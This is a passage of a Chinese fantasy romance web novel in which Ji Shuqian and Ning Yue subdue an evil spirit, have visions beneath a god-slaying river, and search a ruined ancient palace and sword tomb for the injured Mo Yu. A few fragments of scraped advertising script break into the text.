它将硕大的脑袋凑到结界前,低沉而沙哑的声音伴着含糊不清的笑声。 “不自量力。” 它将黑雾渐渐凝聚成一只黑色大手,紧握成拳,一拳挥上结界。 “砰”的一声巨响,连带着水面漾开层层水波,结界猛地一震。 却并没有碎裂。 它偏头看了看,似乎是恼羞成怒了,猛地又是一拳。 季疏浅瞧见它的动作,心下暗道不好,恐怕再来一下结界就撑不住了。 一只手覆上她紧握住剑柄的手,她下意识抬头望向宁樾,一双剪水秋瞳对上他漆黑的眼眸,呼吸滞了一瞬。 宁樾覆在她剑柄上的手微微发力,右手微张,自掌心冒出泛着金色淡芒的光,叠上了她的结界。 又是“砰”的一声巨响,兴许是宁樾加了进来的缘故,黑影还被震的退了两步。 它一边将牙磨的咯咯作响,一边难以置信地问道:“酆都的人?” 季疏浅和宁樾相顾疑惑,它问这个做什么,不过他们俩都没空搭理它。 这么一遭,他们对黑影的实力有些了解了,季疏浅传音给宁樾:“我带了缚神索,把它捆起来问问出口如何?” 宁樾看着她也没有惊讶,酆都宝贝多这件事在六界不是秘密。他想了想就这么耗下去也不是个办法,朝她点了点头。 季疏浅虚空一点抽出一根银色鞭子,在半空划出一道优美的弧线,直直冲黑影而去。黑影反应过来想要抓住鞭子,却在碰到的那一瞬疼的收回了手。 少女见状一笑,用鞭梢在空中甩出道道残影冲黑影而去,黑影连着吃痛发出一声声怪叫。季疏浅趁机在半空舞起鞭子,仿佛有千万条银龙缠绕,一道道劲风似龙吟。 黑影连连后退,宁樾趁机闪身到黑影背后,剑光疾起,隐隐带有风雷之声冲黑影而去。 黑影反应过来时长剑已经猛地刺了进去,它咆哮着转向宁樾。季疏浅趁机一甩长鞭,鞭身如游蛇一般缠上了黑影,越收越紧最后令黑影动弹不得。 一阵阵咆哮身震得洞顶有碎石落下,它冲两人疯狂的喊叫。 “告诉我们洞的出口。”宁樾冷冷看着它。 黑影扭动着腰身,想要逃出。季疏浅眉眼一冷,凝起一道闪电送上缚神索。黑影瞬间被噼里啪啦的闪电电得大叫。 “我说,我说。” 季疏浅和宁樾对视一眼,宁樾手腕一转抽回玄天,走到了她身边。 “信吗?” 季疏浅顿了顿:“看它怎么说。” 说完她又朝缚神索送了一道闪电:“你要耍我们,这缚神索就会一直折磨你。” 几声惨叫后,低沉的声音缓缓开口:“出口就在水下。” 水下?季疏浅和宁樾对视一眼,并不相信它的话。 但眼下确实没有别的出口,他们俩不可能一直陪这只黑影耗在这里。 “把它带上一起走?”季疏浅看着黑影,想到了唯一的办法,现在这么捆着,它也干不了什么。 “好。” 他们俩各自凝了一个护罩,先后沉入水底。 没有看到,渐渐没入水中的黑影,模糊的五官似乎挂起一个笑容。 30. 幻象 水底一片漆黑,宁樾聚了一个光团照亮了昏暗的水底。湖水有一些深,他们过了一会才在水底站住了脚。 “带路。”季疏浅一扯缚神索,拉着那个不情不愿的黑影去带路。 宁樾探了探湖底的情况给季疏浅传音道:“没有什么异样。” 季疏浅看着他点点头,还是没敢放松警惕。 很快,黑影领着他们来到一个泛着幽绿色光芒的漩涡。 “就这里了。” 她半信半疑地看向黑影:“通向哪里的?” “主城。” 主城?难道是墨语去的地方? 季疏浅思忖半刻,就听到宁樾缓缓道:“若是能出去,你为什么还在这里?” 他话音落下,季疏浅偏头看向黑影示意它快答。 “我被封在这里了,出不去的,你们往里面注点灵力就能出去了。” 宁樾和季疏浅沉默一会决定姑且按照它说的试试。 季疏浅聚起一丝灵力灌了进去。 一瞬间漩涡突然扩大,搅动整片湖水,季疏浅只觉得眼前一黑,被吸进了漩涡。 “宁樾!”她下意识大喊了一声。 等她再次睁眼时就发现自己躺在一个没有水的水池里。她揉了揉太阳穴看着四周。 “宁樾!”她大喊一声,却没有回答。 她坐着愣了愣,然后看向自己手里死死攥着的缚神索。 那道黑影是什么时候挣脱的呢?它是故意让他们以为将它捆住了吗。 她瞳孔骤缩,心也跟着扑通扑通得跳。 所以说一开始它的目标就是宁樾,所以才震惊她是酆都的人吗? 她后背发凉,打量着四周。入目是一个喷泉状的水池,只是如今已经干涸,露出白色纹路的水池底。 她看了看雕着花精美的镂空屋顶和周围破败却依然可得出几分华贵的物品,推测这里是黑影口中的主城某处宫殿。 收起缚神索,她起身打量着水池底。 不似一般水池,水池底有着格外华丽的纹路,一道道凹槽蜿蜒组成一个奇异的花纹。 季疏浅秀气的眉头紧锁,难道这个水池其实是为了遮掩水池底的秘密。她蹲下身摸着一道道纹路,试着注入了一丝灵力,却毫无反应。 她愣了愣,心中越发焦急。 万一被她一搞,直接错过入魔时间了呢,她不能错过每一个宁樾有可能入魔的机会。 她盯着花纹,突然灵光一现,这里原来是水池,会不会是要注水进去。 我真是太聪明了,她在心里夸奖一番,然后又开始犯愁。 四周的花看起来都枯死完了,不像是有水的地方。万一她出去找水回来忘了这个地方怎么办? 她咬咬牙,一狠心低头看向自己白皙的手腕,抽出虚华剑光一闪而过。 白皙的手腕上瞬间有汩汩的鲜血流出,她嘶了一声,忍痛将流出来的血凝成一大滴,滴进了凹槽。 果然,鲜血滴进去后整个花纹散发出淡淡的幽绿色光芒,在鲜血顺着凹槽流满整个花纹时,光芒越来越亮。 幽绿色的光芒瞬间吞噬整个宫殿。 - 宁樾只觉得眼前一阵眩晕,却突然被什么死死拉住。 他扭头一看,被缚神索死死锁住动弹不得黑影,居然慢条斯理地扯下了缚神索。 黑影一把掐住他的脖子,他握住玄天准备向黑影刺去,却被黑影一挥手打飞了玄天。 “哈哈哈哈。”黑影怪笑道:“你知道为什么这些神器到了这水底便跟废铁一般吗?为什么你在这里功法全无和凡人一般吗?” 它放声大笑着:“因为这就是你们神最恐惧的河——弑神河。” 弑神河……宁樾想到很多年前在书院上课时,教习上神曾给他们讲过这六界最危险的三个地方:弑神海,弑神河,云崖。 元容与拉着他衣袖嘀咕道:“哥哥,前两个名字取得也太随便了吧。” 白发苍苍的上神闻言笑了笑,正色道:“也就这名字直接说明了为什么六界畏惧它啊,以后一定要避开。” 宁樾默了默原来如此,就听到黑影大笑道:“这么多年,我终于能有肉身了,哈哈哈哈哈。” 原来是这样,他明白它为何要支开珈若了,弑神河对酆都的血脉没有影响……恐怕从一开始就只想引自己一人进来。 “死前告诉你一个秘密吧,当年你的父皇来到此处时可是亲手灭了自己的兄弟的哈哈哈,踩着兄弟的尸骨上位哈哈哈。”它止不住毛骨悚然的笑声。 宁樾一愣,就见黑影冲他面门而来,来不及多想,他凝聚神魂,控制自己神魂不要被恶鬼吞噬了。 强大的撕裂感让他大脑一阵嗡鸣,转眼陷入一片漆黑。 眼前渐渐有一丝红色血光出现,他睁眼发现自己身处一个寸草不生的崖底。 这是何处? 远远看着,远处有一个遍体鳞伤的男子,脸像是被什么腐蚀了一般面目全非,全身上下血肉模糊,双手还带着一副镣铐。 他身上穿的似乎是神族的囚服。 宁樾想要走近了帮他一把,却发现自己无论如何都动不了身,只能远远看着。 他皱了皱眉,就听见四周传来阵阵呼啸,无数张牙舞爪,面目狰狞的恶鬼从四面八方涌来。 宁樾发现自己动不了身,长叹一口气,却发现那些恶鬼径直穿过它,朝地上的人奔去。 无视了他的存在。 无数的恶鬼涌上前去,争先恐后撕咬着那人,本就奄奄一息的人直接没了动静。 宁樾拧起眉,却无可奈何,只能眼睁睁看着那人身上的肉被一块块撕下。 他纠结着,眼眸幽深。这在神界是犯了什么错能被扔到这种地方来。 这是一个崖底,能有无数的恶鬼存在的崖底,他有了猜测,恐怕就是云崖了。 他牵动嘴角无奈地笑了笑,今日走了什么运道,三个地方让他见识了两个。 身为神族太子,他主掌刑法,但也从未听说过犯了什么重罪要被扔下云崖啊。 神族被同为神族的人捅碎了内丹才会灰飞烟灭,其余时候愈合能力都很强。神族中最严重的一等刑法就是死刑。 但像这般扔下云崖,恐怕活着比死了还痛苦。 他眉头皱起,就见到远处的男子被一遍遍撕去骨肉,又一遍遍生出新的血肉……而他被腐蚀的面部却一直没有恢复的迹象,看不出表情。 看他的样子,应当是浑身经脉被人挑断了,一丝灵力也没有。就这么被无数只恶鬼撕咬,甚至露出了白花花的骨头。 而且宁樾这才突然发现,他身上插着几把刀,直直钉在了几处穴位上…… 宁樾不忍再看,沉默地闭上了双眼。 不知过了多久,周围的恶鬼突然窸窸窣窣退下了,一副如临大敌的样子。 他察觉到这份异常,睁开了眼。 一个巨大的黑影浮于上空,黑影浑身上下散发着黑气,低沉而浑浊的声音回荡:“你如今是废人一个了,心魔丛生人人喊打,六界之大却无容身之处。” “不如我助你一臂之力复仇如何?” “好……”一个沙哑到几乎听不清的声音虚弱地应下了。 眼前猛地一黑,他再睁开眼时发现又回到了弑神河底。 原来是一场梦… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' … 他抬起冷冰冰的眼眸,面前的黑影似乎也陷入梦境,似乎还有些痛苦地挣扎着。 黑影猛地从梦境中挣脱出来,就见宁樾死死盯着他。 它浑身打了个冷颤。 入了宁樾的魂,不知怎的,他看见了宁樾的未来,那时的自己居然也找上了他,找上了已经心魔丛生,堕魔的宁樾。 它本以为他会很好拿捏,就用自己的大半力量助他重塑了身躯,想着等他好了再将他的肉身占为己有…… 谁知道在它想那么做的那天,面前的男子阴森森的将它捏了个粉碎…… 想到这里它就浑身打了个寒颤,想它这六界第四只恶灵,被人喂养至这么大,却被抛弃于不顾,找上了宁樾最后还死的那么凄惨…… 它眼神一冷,既然无法占为己有,那就今日把这个未来的祸患除了。 因着刚刚的梦它现在还有点心底发虚,卯足了力气凝成一个拳头朝他胸口击去。 一柄银白色带起层层水波直冲他拳头而去,一瞬凝成拳头的黑雾在水底消散。 “宁樾!”季疏浅以来就看到这一幕,一瞬间大脑不受控制地执剑对了上去。 她飞奔到宁樾身旁,将他罩进了自己的泡泡中,舒出一口气:“没事吧?” 宁樾瞧着面前的少女,似乎受了惊吓,脸微微泛红,大口喘着气。 他淡淡一笑:“没事。” 黑影见她来了气急败坏想要逃走,季疏浅朝它投去一个幽幽的目光,拦住它的去路。 它见季疏浅置了个结界,恶狠狠道:“你不是我对手。” 季疏浅最讨厌别人骗她,闻言她冷笑一声:“你试试看。” 宁樾轻轻拉住她衣袖:“小心。” “嗯。” 她将虚华往湖面上一抛,化出一个比黑影还要大的剑影,双手结印分出无数道虚影。 万千虚华剑如急雨般落入水面,从四面八方插进黑影体内,黑影吃痛惨叫。 “果然是恶灵。”季疏浅冷冷道,同时也皱起眉,恶灵杀不掉啊。 想了想,她双手结印,升起一个巨大的阵法将恶灵锁在其中。手中灵力涌动,她张开手心,手心中结出一朵小小的莲花,她将莲花置在封印上。 恶灵彻底没了动静。 “只能把它封在这里了。”季疏浅叹了口气,回头望向宁樾:“我们走吧。” 她瞥向了一旁插着的玄天剑,眉头微皱,将玄天拔出来递给宁樾。 “谢谢。”宁樾看向了她。 沿着刚刚的路回去,他们俩一起到了那个水池里。 宁樾突然瞥到季疏浅露出的白皙手腕上有一道浅浅血痕,应当是伤了没多久快愈合了。 又闻到空气中淡淡的血腥味,他看向水池底隐隐有血迹的花纹。 “你……割手腕开的传送阵?”他蹙起眉看向她。 季疏浅被他这一问有些摸不着头脑:“事急从权。” 宁樾看着她愣了愣:“谢谢……下次你别这样了,不疼吗?“ 季疏浅愣了愣摇了摇头,她正在内心庆幸自己到的无比及时。 因为她想不出现在的宁樾有什么堕魔的理由。但要是宁樾死在他还是神的时候,那她就功亏一篑了。 想到这里她有些后怕,若她真的失手了,出去该怎么面对那个魔尊宁樾。 不行,一定不能失手,她在心里默默念道。 面前伸来一只手,有些戏谑的声音响起:“你还要在地上坐多久?” “哦。”她突然反应过来,下意识将手递了过去,借着他的力道站了起来。 后知后觉耳朵有些发烫。 31. 疑心 季疏浅沉默了一会儿,压下心头那股异样的情绪。 “宁樾,它为何要抓你?” 宁樾看向她,思忖了一下:“或许是想占了我这副肉身吧。” 季疏浅有些不解道:“那为何最后那一下它看起来想要了你的命。” 她在脑海重演了刚刚的画面,很确定那直冲宁樾面门而去的一拳是想要了他的命。 一声有些玩味的笑声兀地响起,“占我身体不成恼羞成怒了吧。” 他虽表现得风轻云淡,实际还是在内心想着所见到的云崖下的人……不知是梦还是什么…… 却有些心神难安…… 季疏浅若有所思地点点头:“这里应该就是它口中的主城,宁樾我怀疑它是被这主城的主人给偷偷养着的。” “谁没事在花园的水池里弄一个这种封印啊。”她一边说着一边向外走去。 宁樾赞成地点了点头,跟上了她的步伐。 四处纯金的物件都昭示着此处曾经的繁华,宁樾和季疏浅对视一眼,心头都浮现起疑惑。 为何从未听说过槐江山此处有古国的存在,况且以这个宫殿的富贵程度来看,这古国地位非同一般。 沿着一条铺着玉石镶着金的小路走去,随处可见断壁残垣,一些地方已经被绿油油的苔藓占为己有。 这里是一处宫殿——一处被废弃许久的宫殿,而且眼下空无一人,很可能是遭了一场浩劫。 突然宁樾停下了脚步,季疏浅看向他,就见宁樾盯着走廊墙上一幅画沉思。 她走到宁樾身旁,看着他利落的下颌线以及笼罩在思考中的好看的眉眼。 “怎么了?” 她瞧了瞧那副只剩下了一半的画,再打量了挂着这幅画的走廊壁,得出了结论。 “这里原来应该不止这一幅画,应该是被火烧了只剩下了这半卷。”她看着画边焦黑的痕迹思索道。 “这幅画和我父皇宫里一幅画很像……”宁樾沉吟道。 神帝不许他们进他的寝宫,宁樾至今都记得幼时有一回他好奇闯了进去,看到了他父皇挂在壁上的一副长卷。 那是一副画的十分细致的画,足足有几米长,画中人的衣袍皆是由金箔贴绘而成。 那应当画的是一场盛会的图,立于高座上的人看着他的臣子们,但他的脸被一团黑墨覆盖,似乎是有人故意为之。 他还准备细看时,他的父皇不知什么时候已经负手立在他的身后……他记得那次神帝怒气冲冲罚他去跪了两日,还一再警告他不许将所见说出去。 “是一张宴会图,我猜是曾经远古几帝会面的图。” 宁樾垂下眼睫,眼中沉思浓郁,为何会出现在他父皇的寝殿里……想到恶灵告诉他的话,他不由得重新审视他的这位父亲。 似乎从小到大他和他的这位父皇便不甚亲近,因此也对他知之甚少……他对他关心最多的时候,应当就是他在训练神兵时了。 季疏浅知道他说的远古时期是什么,那是六界空前团结的时候。因为那时天地异象,三只恶灵横空出世,六界陷入水深火热之中,六界的人们才后知后觉团结一致,最后由酆都大帝封印了恶鬼。 “还以为能通过这幅画看出点什么呢,这幅画到处都挂啊。”季疏浅有些失望。 宁樾看着她有些失望地瘪起嘴安慰道:“没事,我们再找找,应该还会有其他有用的信息。” 季疏浅点点头继续朝前走去,穿过了走廊,他们到了一扇有些沉重的大门前。 犹豫一瞬,宁樾挡在了季疏浅面前,双手一用力推开了大门。 伴随着嘎吱嘎吱的尖锐声和漫天飞扬的灰尘,大门缓缓打开。入目的是一个架着各种宝剑的纯金架子。 季疏浅顿时双眼放光,宁樾也同样眯了眯眼。但二人都是谨慎的性子,谁都没有上手。 他们小心翼翼地观察了下四周,发现四周除了剑还是剑,应当没有危险。 宁樾轻轻用玄天的剑尖挑起了一把剑,剑身一转,稳稳握在手中。 变故突然发生,一时间剑架上所有的剑像是受了某种感应一样齐刷刷飞到半空,剑尖转了一个方向,一致对着季疏浅。 宁樾反应迅速,一把将季疏浅拉到身后,抬手化出无数把玄天剑朝半空中的剑撞去。 但刚刚躁动的剑似乎一下泄了气,噼里啪啦尽数落在地上。 “冲我来的?”季疏浅拧起眉看向散落一地的剑,幸好刚刚去拿剑的是宁樾。 她正暗自庆幸,一边打量着四周,身旁的宁樾身形突然晃了晃,一手按住了头,眉头紧锁。 “宁樾。”她扶住宁樾,关切地问看着他。 宁樾在挡下那些剑后,脑海突然出现一个低沉的男声,就像是从脑海生出来的一样,一直盘旋不散。 “杀了她,杀了她啊,酆都的人都该死……” 他用理智和这股声音抗衡,深吸一口气,拉起了季疏浅搭在他肩上的手。 “走。” 话毕他拉着季疏浅出了这个房间,那股带着诱惑的声音便从脑海中消失。 “怎么了?” 季疏浅还没搞清楚刚刚的情况,面带疑惑地看向宁樾。 宁樾对上她的杏眼,心底轻笑,他怎么可能伤她…… 在杀了她这句话在脑海盘桓时,他下意识的画面是那弑神河底,少女带着焦急的眉眼,一边无畏地将他护在身后的场景。 宁樾将他脑海里的话给季疏浅复述了一遍,季疏浅的眉头越皱越深。 “这是和酆都有仇吗?” 宁樾神情不定地点了点头,就见季疏浅笑了笑:“那他怎么傻到找你来杀我啊。”说完还偏头笑着看他。 一瞬间,宁越觉得有什么东西在心底无声地发芽。 季疏浅晦气地看着那个房间,心头浮想联翩,为什么皇宫中的屋子会针对她,甚至不知用了什么办法蛊惑宁樾来杀自己。 宁樾见她蹙眉看着房间不语,垂眸看着她,温声道:“走吧。” 闻言,季疏浅看向宁樾,黑色的眼眸透着温润而坚定的力量,无端让人心生安心。她颤了颤眼睫,遮住眼底神色,或许是她知晓宁樾未来的结局,免不了心生惋惜,应该没人能料到,如今的温润公子会成为令三界闻风丧胆的魔王。 这是一条金玉铺就的走廊,走廊有些残破,珠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 玉碎瓦散落满地,看起来一片狼藉,像是经历过一场浩劫。 随处散落着兵器的碎片,季疏浅微微皱眉,俯身拾起一片块碎片……很难想象,曾经削铁如泥的兵器会沦为别人的唏嘘一叹。 宁越看向俯身的季疏浅,微微出神,这里自古以来便有恶鬼出没,无人能讲述这槐江山的真实情况。而眼下,这里已经诞生了第四只恶灵,照这样看来,或许槐江山和曾经的三只恶灵大有渊源……那神族又在里面扮演了什么角色呢? 他神色越发幽深,就如那只恶灵告诉他关于他父皇的事,他姑且信了一半。但年少时,他便能隐隐察觉出他父皇的刻意隐瞒…… 或许是觉得他年少,便未过多隐瞒,但他其实一清二楚——父皇对酆都有一种埋于深处的敌意。 虽然平日他父皇在人前都维持着一副尊酆都为座上宾的态度,但背地里却不满酆都统领六界的地位…… 他年少时尚且不知其中原委,所以出于神族的利益,也和他父皇有着如出一辙的想法。 但他记得某个午后他母神叫他去后花园陪她散心,语重心长地给他讲了这六界格局的来历……上古时代,战火不断,彼此间打得不可开交,整个六界乌烟瘴气,恶灵横空出世。 眼看着本就饱受战火摧残的六界雪上加霜,纷飞战火中生灵涂炭,原先有着旖旎风光的六界如今宛如人间炼狱,几乎到了天道无力回天的地步,天道终于出手了。 天道用一部分力量造出了第一位酆都大帝,用这位酆都大帝的力量来抗衡三只恶灵,但恶灵远比他们想象的强大,只有这世间最为精纯的灵力才能使其彻底消亡。 第一位酆都大帝只能勉强将其镇压在灵力充沛的槐江山,因为未能彻底消灭恶灵,所以天道并未收回赋予他的力量……至此之后一代代酆都大帝都承着这力量,世代镇守槐江山。 想到这里,宁樾垂下眼睫,一双眼中微微荡起涟漪……母神将这些告诉他后,他彻底改变了想法,因为……恶灵试图突破封印,每一位酆都大帝最终都会受封印反噬而灰飞烟灭。 酆都虽享着这六界无上的荣誉,但也承着这份责任,在他看来这是对等的……每一位酆都从六界各界中选出的精英都站在和恶灵抗衡的一线,这样的奉献和牺牲,在他看来完完全全担得起他们所受的尊崇。 少女俯身,黑色的轻纱柔柔落在他脚旁,他看向少女白如雪的脸颊微愣一瞬。珈若没有选择自己身份的权利,出身便担着酆都继承人的责任,或许她已经知道自己既定的命运了…… 可若是能有选择,她会怎么选呢? 这世间有人爱慕王权富贵,却也有人只羡慕淡云流水的生活。 季疏浅回过神来时就见宁樾目不转睛地盯着自己,她有些诧异地歪了歪头。 “怎么了?” 少女的声音如风铃低语般悦耳,他思绪万千地看向季疏浅,犹豫了一下,还是试探着:“珈若……” 季疏浅愣了愣,怎么就这么换了称呼,她浅浅一笑:“不是说了唤我疏浅吗。” 宁樾看向她流露真挚的杏眼,颔首道:“疏浅,你……如果有选择的机会还愿意做着酆都继承人吗?” 32. 遇袭 啊??季疏浅愣住了,她实在是没跟上宁樾的思维,这都哪跟哪儿啊。 况且,她怎么觉得宁越眼底的情绪格外复杂。 她犹摩挲着手上拿着的碎片,犹豫一瞬,她究竟该以珈若的思维去回答,还是她自己的呢。 想到这里,她又低下头有些拿不准……换做是珈若,她究竟想不想当未来的酆都女帝呢,她并不觉得她能替珈若回答。 所以她轻轻一笑,看向宁樾:“不想。”回答得十分干脆利落。 宁樾看向她,眼底有汹涌波澜,起初他以为珈若就是一个完完全全按照模版培养出的继承人,符合酆都一贯的风格,干净利落不带一丝情感……所以从前他一心想着等什么时候和这位未婚妻取消婚约。 但在槐江山中这么多天的相处,他发现珈若并非完全无情,至少在弑神河底,是珈若替他挡下那一拳。 所以他做不到对她的命运袖手旁观。 宁樾正想着,突然季疏浅系在腰间的传音铃突然急促响了起来。她迅速解下铃铛,将它举起,不确定地问了一句:“墨语?” 铃铛那头传来一阵极为嘈杂的声音,嘈杂声中还隐约混着细微的声音…… “殿下,殿下…我在古城的剑冢里遇到了一个黑衣人,他……”声音戛然而止,唯有铃铛坠地的清脆声。 “墨语?”没有人回应,季疏浅焦急地连着喊了几声:“墨语,墨语?” 她眼神有些虚晃,狠狠摁了一下眉心……墨语是从无数酆都弟子中选出的精英,是珈若的得力助手,什么人能将她伤成这样。 在进入槐江山的人中……能是墨语对手的屈指可数。 “我们去找她。”一旁温润的声音不带什么波澜,季疏浅回头望去,宁越正看着她,眸子犹如万千星辰。 季疏浅深吸一口气:“好。” 但眼下季疏浅犯了愁,这座宫殿他们都不熟悉布局,怎么走出去呢。 宁樾看了看有些出神的少女淡淡一笑,翻了翻右手掌心,一只周身绕着淡淡荧光的小蝴蝶扑闪着翅膀,在他的掌心飞舞。 季疏浅有些好奇地瞪大眼睛看着蝴蝶,宁越似乎看出了她的不解,温声解惑道:“这是灵蝶,神族用来探查位置的灵物。” 言毕,他将灵蝶轻轻往外一送,灵蝶就扑闪着薄薄的翅膀向外飞去。季疏浅和宁樾对视一眼,跟了上去。 灵蝶沿着过道的残垣断壁飞出去,穿过了重重走廊,到了一处坍塌的宫殿外停了下来。 “这是?”季疏浅有些疑惑地看着静止在原地的灵蝶,转头望向宁樾。 宁越顿了顿:“应该是这附近有传送阵,它在判断要不要带我们进去。” 闻言,季疏浅点了点头,灵蝶恰好在此时扭头带他们进了那座已经坍塌的宫殿。 “走吧。”宁樾轻声道,迈步先行走过去。 灵蝶扑扇着翅膀,泛出点点荧光。它在原地打了个旋儿,似乎在确认方向,随后顿了顿径直朝坍塌的宫殿飞去。 季疏浅和宁樾对视一眼,紧跟着灵蝶前去。宁樾走在季疏浅前面,面前坍塌的砖瓦散了一地,一块巨大的断壁横在他们两面前。 宁樾微微蹙眉,用手指轻轻扣住断壁,将断壁抬起,微微弓背,他朝季疏浅望了一眼示意她先走。 季疏浅一时无言,附身从他身前经过,经过时,他身上的果香味若隐若现,淡淡的鼻息拂面,她微微发愣。 ……前世今生,她似乎都没有和一个男子走的如此近。 元容与会有意无意地和她亲密,但她一直以为那只是出于一种师徒情,所以从不觉得有什么。 但宁樾不一样,至少她能感受到一丝从未有过的情绪。 她压下心头异样径直走了进去,宁樾待她进去后,轻轻将断壁搁在地上,用小法术压下了纷飞的尘灰。 倒塌的宫殿内有这一处和水池里一样的图案,灵蝶落在其上,宁樾微闭上眼感受了一会儿。 “它让我们进这个传送阵。” 季疏浅若有所思地点了点头,举起虚华准备再来个动脉放血。虚华剑光一横,却突然被握住了手腕,动弹不得。 宁樾修长的手指紧握在季疏浅的手腕上,他眼神陡转,锋利而冰冷。 冷冷的声音打破寂静:“酆都公主,这般不爱惜自己吗?” 季疏浅心中纳闷,在她看来,割上一刀放点血太平常不过了。 很久以前,她在天道山学习时,元容与时常让她前去历练,历练的环境从不允许她矫情,有些妖物噬血,她就会来上一刀放点血吸引他们。 她歪了歪头:“割一刀而已,小伤一会儿就好了……” “不行。”宁樾冷哼一声,“酆都公主小伤不怕疼,我看着疼。” “啊?”季疏浅愣了愣。 宁樾幽幽看了她一会,长叹一口气,骨节分明的手顿了顿,一把拿过了她手中的虚华,往手腕上一割。 季疏浅一瞬间愣住,就见到宁樾朝传送阵走去,摁住了伤口,将汩汩鲜血滴入阵中。 她皱了皱眉,没出声,宁樾回过头挑眉笑了笑:“跟我一路,还是不麻烦公主殿下放血了。” 季疏浅看着他,垂眸不语。传送阵亮起刺目红光,伴随着一阵晕眩,两人被吸进了阵中。 天旋地转,再睁眼时,四周景象又是天差地别。漫天黄沙纷飞,四周昏暗一片,他们立于一个泛着点点红光的阵上。 漫天黄沙中,一座直插云霄的高台立在他们面前,细细看去,高台外壁印着一道道纹路,纵横交错,神秘又神圣。 “看来灵蝶没有带错路,这里应该就是剑冢。”宁越看着高台,下了结论。 季疏浅沉默了一会,兀的开口:“这座古城应该在当时权力很大……”她咽下了后半句话——就像如今的酆都一样。 因为酆都也在宫内设有传送阵,传送阵能到达六界的每一个角落。 宁樾直直看着她,似乎已经明白她想说什么,他抬眸瞧向高台。 “这里有可能是上古时期神族的宫殿。”黄沙呼啸,将他的声音割的粉碎。 但季疏浅还是听见了他这句话,沉默片刻;“也对,上古时期还没有酆都时,神族就居于六界的主导地位。” 说完这句话后,她和宁樾一同陷入了沉默,两人都不必说就明白对方心里想的是什么。 若真是神族,神族对酆都居然有如此大的敌意,甚至要对她下手,季疏浅在心底暗想。这样的话,恐怕史书该重新改写了,什么神族对酆都的统治心服口服,心甘情愿俯首称臣恐怕都是假的。 宁樾看着季疏浅默了默:“疏浅,我不会那样。”他牵动了一下嘴角,声音温润而有力:“酆都世代担此重责,这是应该的。” 说完后,他轻轻挥了挥手将灵蝶召了回来。随后望向季疏浅:“进去看看?” “好。” 眼前的高台虽名为剑冢,但却与一般剑冢低矮的八角形结构不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 甚相同。这座剑冢直插云霄,巨石削成的砖瓦层层垒起,外形方方正正,近看暗黑色的晶石泛着幽黑的光。 待他们走近后,季疏浅想了想,侧身避开,将头微微侧向宁樾。 “你来?” 季疏浅自己都没发觉,她在问这句话时嘴角噙着一抹浅笑,颇有几分古灵精怪的样子。 宁樾侧目就见到天昏地暗中,少女一双黑眸璀璨如星辰,灵动却又有着与年龄不符的稳重,带着一丝调侃的笑容 仿佛一刹那,昏暗被曙光所照亮。 他自然明白她的意思,无非就是对神族的玩味捉弄。 他轻轻笑了笑点头应道:“好好好,我试试。” 宁樾弯起手指,轻叩着剑冢的外壁。半晌,他伸直手指轻轻抚过外壁的纹路,凌厉的眉微皱。 他沉默了一会儿,看向季疏浅低声道:“应当是个阵法……” 话毕,他缓缓伸手,漾开淡淡灵力。灵力温润晕开,一层封印缓缓出现在他们俩面前。 两人不约而同地皱起了眉头,宁樾忽然想起什么,手腕微微动了动,将手掌严丝合缝地贴了上去。 封印轻颤,自他手掌出缓缓裂开,如燃尽的纸张般撕裂开来。 季疏浅眼睛微微瞪大,似笑非笑地看向宁樾。 千年前果然还有很多世人都不知道的秘密,最后能流传下来的都是掌权者想让人们知道的。 封印被解开后,一时之间狂风呼啸,砂石漫天飞舞。眼前威严的剑冢缓缓裂开一条缝隙。 季疏浅没有犹豫就朝里跑去,宁樾跟在她身后,摊开手心亮起一团光照亮了伸手不见五指的通道。 通道的尽头,是一条长长地通向地底的通道。季疏浅顿了顿,还是毫不犹豫地走了下去。 一直以来,她都觉得自己是个很重感情的人。前世自己珍惜血亲间的亲情,珍惜阿姐和师叔给自己的另一种亲情。 而这一世她进了皎月调,哪怕她知道了所认识的大部分人的命运,她也还是不忍去面对这一切。 就像曾经元容与想将这一世的她逼成珈若的样子,她想……哪怕上一世他将她所有在意的人都送上了绝路,他还是没能做到。 想到这里季疏浅讽刺一笑,手中的虚华剑越握越紧。不知下了多少阶,终于到达了一个宽敞的厅堂。 厅堂铺满了暗黑色的地砖,许是因为年代久远,大多都已爬满了裂纹。四周的石壁上有一个个石头凿出的灯盏,走进了瞧着,季疏浅突然“咦”了一声。 在十来个灯架上,有一盏居然发出了点点亮光。她快步走上前去,凑近仔细打量。 “是墨语点的。”她下了结论,也不禁在心中疑惑,为什么这么多盏灯她独独点了这一盏。 宁樾蹙眉瞧着灯盏,眼神微凉,他伸手握住灯盏的下端支撑着灯盏的石柱,微微用力一扭。 轰隆隆几声,伴着扬起的尘土,面前赫然裂开一条通道。 季疏浅看着眼前一切,深吸了一口气,看来墨语也发现了这条通道。 一股冷意席卷她全身,那个偷袭墨语的人也知道这条通道的存在,还是说恰好碰上? 她攥紧了虚华,朝深处走去,宁樾手中的亮光照亮了通道,季疏浅猛的一顿。 眼前是一间与整个地宫阴暗风格截然不同的屋子,古色古香的装修却远没有屋内的一片狼藉来的震撼。 更骇人的是地上一滩刺目的鲜血和倒在血泊中不省人事的女子。 33. 怀疑 “墨语!”季疏浅哑着嗓子大喊了一声,颤抖着手不顾一切地将她从血泊中捞起搂在怀中。 不论她怎么喊墨语的名字,那个平日里格外爱笑的女孩始终没有一丝动静,脸庞惨白的没有一丝血色。 季疏浅低垂着眼帘,嘴唇抿得紧紧的,轻轻放在墨语手腕上的两指微微发颤,她注入的灵力尽数沿着破碎的筋脉回到了她体内,这只能说明墨语的浑身经脉尽乎破碎。 她顿了顿,仍是坚持着将灵力注入她体内。宁樾沉默地看着,半晌他抬起眼眸,一只手运转灵力向墨语体内送去。 季疏浅没顾得上看他,在脑海里搜索了一下珈若自幼学习的法术。她运转灵力,在半空中用灵力编织出一朵散着淡蓝色光晕的莲花,微微蹙起眉,将那朵莲花送进墨语体内。 莲花的光晕渐渐消失,与面容惨白的女子逐渐融为一体,季疏浅长舒一口气,下一秒猛的捂住胸口,吐出一口血来。 “疏浅!”宁樾一把扶住她的肩膀。 季疏浅运着体内有些紊乱的气息,摆了摆手,轻声道:“没事的,谢谢。” 